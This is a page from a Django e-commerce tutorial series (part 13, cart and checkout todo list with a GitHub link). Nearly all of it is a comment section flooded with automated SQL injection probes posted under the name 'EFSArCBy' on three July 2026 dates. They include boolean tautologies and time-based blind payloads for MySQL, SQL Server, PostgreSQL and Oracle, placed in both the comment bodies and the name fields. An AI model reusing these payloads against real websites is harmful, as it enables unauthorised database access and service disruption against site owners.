Cart - 2 - Django Ecommerce Website - Htmx and Tailwind

In this part of the e-commerce website tutorial series, we are going to continue implementing the cart functionality.

Part 13 - Todolist
-Show correct products in the cart
-Show total price in the cart
-Show total price in the checkout
-Only allow checkout for authenticated users
-Show user information in the checkout
-Change checkout link in the cart

Github: https://github.com/SteinOveHelset/nordichomes/releases/tag/part-13

Comments

EFSArCBy | Jul 02, 26 11:36

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

-1 OR 2+850-850-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

-1 OR 2+506-506-1=0+0+0+1

EFSArCBy | Jul 02, 26 11:37

-1' OR 2+104-104-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

-1' OR 2+74-74-1=0+0+0+1 or 'V0UKItkC'='

EFSArCBy | Jul 02, 26 11:37

-1" OR 2+428-428-1=0+0+0+1 --

EFSArCBy | Jul 02, 26 11:37

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 02, 26 11:37

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 02, 26 11:37

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 02, 26 11:37

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 02, 26 11:37

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555XFcUfSEU'; waitfor delay '0:0:15' --

EFSArCBy | Jul 02, 26 11:37

555-1 OR 360=(SELECT 360 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555-1) OR 689=(SELECT 689 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555-1)) OR 150=(SELECT 150 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555YZYP6Ngt' OR 606=(SELECT 606 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

5557acEZf2f') OR 162=(SELECT 162 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555RXYBhNDz')) OR 180=(SELECT 180 FROM PG_SLEEP(15))--

EFSArCBy | Jul 02, 26 11:37

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 02, 26 11:37

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555'"

EFSArCBy | Jul 02, 26 11:37

@@cIrEC

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:37

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

-1 OR 2+922-922-1=0+0+0+1 -- | Jul 02, 26 11:38

555

-1 OR 2+554-554-1=0+0+0+1 | Jul 02, 26 11:38

555

-1' OR 2+249-249-1=0+0+0+1 -- | Jul 02, 26 11:38

555

-1' OR 2+759-759-1=0+0+0+1 or 'EaeW15n3'=' | Jul 02, 26 11:38

555

-1" OR 2+179-179-1=0+0+0+1 -- | Jul 02, 26 11:38

555

if(now()=sysdate(),sleep(15),0) | Jul 02, 26 11:38

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 02, 26 11:38

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 02, 26 11:38

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 02, 26 11:38

555

EFSArCBygUpI4oLJ'; waitfor delay '0:0:15' -- | Jul 02, 26 11:38

555

EFSArCByzrPkpNTq' OR 539=(SELECT 539 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCByKv0jAXCk') OR 536=(SELECT 536 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCByJ5qol2zu')) OR 448=(SELECT 448 FROM PG_SLEEP(15))-- | Jul 02, 26 11:38

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy'" | Jul 02, 26 11:38

555

@@ogrug | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 02, 26 11:38

555

EFSArCBy | Jul 21, 26 12:32

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

-1 OR 2+202-202-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:33

-1 OR 2+28-28-1=0+0+0+1

EFSArCBy | Jul 21, 26 12:33

-1' OR 2+870-870-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:33

-1' OR 2+762-762-1=0+0+0+1 or 'EhVJvFd6'='

EFSArCBy | Jul 21, 26 12:33

-1" OR 2+949-949-1=0+0+0+1 --

EFSArCBy | Jul 21, 26 12:33

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 21, 26 12:33

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 21, 26 12:33

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 21, 26 12:33

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 21, 26 12:33

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:33

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:33

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:33

555ZUoVETMl'; waitfor delay '0:0:15' --

EFSArCBy | Jul 21, 26 12:33

555-1 OR 347=(SELECT 347 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555-1) OR 594=(SELECT 594 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555-1)) OR 530=(SELECT 530 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555LI0Edd2h' OR 527=(SELECT 527 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555SP2RNEQ5') OR 271=(SELECT 271 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555YpeJ3062')) OR 873=(SELECT 873 FROM PG_SLEEP(15))--

EFSArCBy | Jul 21, 26 12:33

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 21, 26 12:33

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555'"

EFSArCBy | Jul 21, 26 12:33

@@wgNma

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

-1 OR 2+206-206-1=0+0+0+1 -- | Jul 21, 26 12:33

555

-1 OR 2+201-201-1=0+0+0+1 | Jul 21, 26 12:33

555

-1' OR 2+264-264-1=0+0+0+1 -- | Jul 21, 26 12:33

555

-1' OR 2+558-558-1=0+0+0+1 or 'rKlSlDbh'=' | Jul 21, 26 12:33

555

-1" OR 2+377-377-1=0+0+0+1 -- | Jul 21, 26 12:33

555

if(now()=sysdate(),sleep(15),0) | Jul 21, 26 12:33

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 21, 26 12:33

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 21, 26 12:33

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 21, 26 12:33

555

EFSArCBydZmd8hau'; waitfor delay '0:0:15' -- | Jul 21, 26 12:33

555

EFSArCByLNkjWYej' OR 499=(SELECT 499 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33

555

EFSArCByknp8i0gQ') OR 560=(SELECT 560 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33

555

EFSArCBy4gu1T5EJ')) OR 317=(SELECT 317 FROM PG_SLEEP(15))-- | Jul 21, 26 12:33

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy'" | Jul 21, 26 12:33

555

@@DRZgw | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 21, 26 12:33

555

EFSArCBy | Jul 23, 26 03:28

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

-1 OR 2+155-155-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:29

-1 OR 2+230-230-1=0+0+0+1

EFSArCBy | Jul 23, 26 03:29

-1' OR 2+327-327-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:29

-1' OR 2+796-796-1=0+0+0+1 or 'usDmbp8G'='

EFSArCBy | Jul 23, 26 03:29

-1" OR 2+82-82-1=0+0+0+1 --

EFSArCBy | Jul 23, 26 03:29

555*if(now()=sysdate(),sleep(15),0)

EFSArCBy | Jul 23, 26 03:29

5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z

EFSArCBy | Jul 23, 26 03:29

5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z

EFSArCBy | Jul 23, 26 03:29

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

EFSArCBy | Jul 23, 26 03:29

555-1; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:29

555-1); waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:29

555-1 waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:29

555vZebFx1s'; waitfor delay '0:0:15' --

EFSArCBy | Jul 23, 26 03:29

555-1 OR 933=(SELECT 933 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555-1) OR 364=(SELECT 364 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555-1)) OR 30=(SELECT 30 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555VRqQNbyY' OR 279=(SELECT 279 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555XKoU91pB') OR 607=(SELECT 607 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555K07g2XsM')) OR 35=(SELECT 35 FROM PG_SLEEP(15))--

EFSArCBy | Jul 23, 26 03:29

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

EFSArCBy | Jul 23, 26 03:29

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555'"

EFSArCBy | Jul 23, 26 03:29

@@pKzHM

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

EFSArCBy | Jul 23, 26 03:29

555

-1 OR 2+835-835-1=0+0+0+1 -- | Jul 23, 26 03:29

555

-1 OR 2+196-196-1=0+0+0+1 | Jul 23, 26 03:29

555

-1' OR 2+405-405-1=0+0+0+1 -- | Jul 23, 26 03:29

555

-1' OR 2+538-538-1=0+0+0+1 or 'DKaB6upB'=' | Jul 23, 26 03:29

555

-1" OR 2+885-885-1=0+0+0+1 -- | Jul 23, 26 03:30

555

if(now()=sysdate(),sleep(15),0) | Jul 23, 26 03:30

555

EFSArCBy0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z | Jul 23, 26 03:30

555

EFSArCBy0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z | Jul 23, 26 03:30

555

EFSArCBy-1 waitfor delay '0:0:15' -- | Jul 23, 26 03:30

555

EFSArCBySXKMRmyU'; waitfor delay '0:0:15' -- | Jul 23, 26 03:30

555

EFSArCByHmuaAXyV' OR 347=(SELECT 347 FROM PG_SLEEP(15))-- | Jul 23, 26 03:30

555

EFSArCByCWTxGJVC') OR 560=(SELECT 560 FROM PG_SLEEP(15))-- | Jul 23, 26 03:30

555

EFSArCByF7YyaP8L')) OR 851=(SELECT 851 FROM PG_SLEEP(15))-- | Jul 23, 26 03:30

555

EFSArCBy'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||' | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy'" | Jul 23, 26 03:30

555

@@eBoAF | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

EFSArCBy | Jul 23, 26 03:30

555

Add comment

Info

Please log in to comment!

Newsletter

Subscribe to my weekly newsletter. One time per week I will send you a short summary of the tutorials I have posted in the past week.